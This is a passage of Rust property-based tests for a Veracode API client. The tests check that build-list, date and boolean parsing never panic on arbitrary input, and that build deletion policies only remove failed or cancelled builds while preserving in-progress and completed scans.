2013            let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2014            let config = VeracodeConfig::new("test_id", "test_key");
2015            let client = VeracodeClient::new(config)
2016                .expect("valid test client configuration");
2017            let api = BuildApi::new(client);
2018
2019            let result = api.parse_build_list(&xml);
2020
2021            prop_assert!(result.is_ok());
2022            if let Ok(build_list) = result {
2023                prop_assert_eq!(build_list.app_id, app_id);
2024                prop_assert_eq!(build_list.builds.len(), 0);
2025            }
2026        }
2027
2028        /// Property: Date parsing must never panic
2029        #[test]
2030        fn proptest_date_parsing_safety(
2031            date_str in prop::string::string_regex(".{0,100}")
2032                .expect("valid regex pattern for date strings")
2033        ) {
2034            // Test that date parsing never panics, even with invalid input
2035            use chrono::NaiveDate;
2036            let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2037            // If we get here without panic, test passes
2038        }
2039
2040        /// Property: Boolean parsing in XML must handle arbitrary strings safely
2041        #[test]
2042        fn proptest_boolean_parsing_safety(
2043            bool_str in prop::string::string_regex(".{0,50}")
2044                .expect("valid regex pattern for boolean strings")
2045        ) {
2046            // Test that boolean parsing never panics
2047            let _ = bool_str.parse::<bool>();
2048            // If we get here without panic, test passes
2049        }
2050    }
2051}
2052
2053#[cfg(test)]
2054#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
2055mod deletion_safety_proptests {
2056    use super::*;
2057    use proptest::prelude::*;
2058
2059    proptest! {
2060        #![proptest_config(ProptestConfig {
2061            cases: if cfg!(miri) { 5 } else { 1000 },
2062            failure_persistence: None,
2063            .. ProptestConfig::default()
2064        })]
2065
2066        /// Property: Policy level 1 must only delete safe states (critical invariant)
2067        #[test]
2068        fn proptest_policy_1_only_deletes_safe_states(
2069            status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2070                .expect("valid regex pattern for status strings")
2071        ) {
2072            let status = BuildStatus::from_string(&status_str);
2073            let is_deletable = status.is_safe_to_delete(1);
2074
2075            // If deletable under policy 1, must be a safe state
2076            if is_deletable {
2077                prop_assert!(matches!(
2078                    status,
2079                    BuildStatus::Incomplete
2080                        | BuildStatus::NotSubmitted
2081                        | BuildStatus::PreScanFailed
2082                        | BuildStatus::PreScanCancelled
2083                        | BuildStatus::PrescanFailed
2084                        | BuildStatus::PrescanCancelled
2085                        | BuildStatus::ScanCancelled
2086                        | BuildStatus::Failed
2087                        | BuildStatus::Cancelled
2088                ));
2089            }
2090        }
2091
2092        /// Property: Policy level 2 must never delete ResultsReady (critical invariant)
2093        #[test]
2094        fn proptest_policy_2_never_deletes_results_ready(
2095            _dummy in 0u8..1 // Dummy parameter for proptest macro
2096        ) {
2097            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2098        }
2099
2100        /// Property: Unknown statuses under policy 1 must not be deletable (fail-safe)
2101        #[test]
2102        fn proptest_unknown_status_safe_default_policy_1(
2103            unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2104                .expect("valid regex pattern for unknown status strings")
2105                .prop_filter("Must not match known statuses", |s| {
2106                    !matches!(s.as_str(),
2107                        "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2108                        "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2109                        "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2110                        "Failed" | "Cancelled"
2111                    )
2112                })
2113        ) {
2114            let status = BuildStatus::from_string(&unknown_status);
2115
2116            // Unknown statuses must not be deletable under policy 1 (fail-safe)
2117            prop_assert!(!status.is_safe_to_delete(1));
2118        }
2119
2120        /// Property: ScanInProcess must never be deletable under policy 1 (data integrity)
2121        #[test]
2122        fn proptest_scan_in_process_not_deletable_policy_1(
2123            _dummy in 0u8..1
2124        ) {
2125            prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2126        }
2127
2128        /// Property: PreScanSuccess must never be deletable under policy 1 (data preservation)
2129        #[test]
2130        fn proptest_prescan_success_not_deletable_policy_1(
2131            _dummy in 0u8..1
2132        ) {
2133            prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2134        }
2135    }
2136}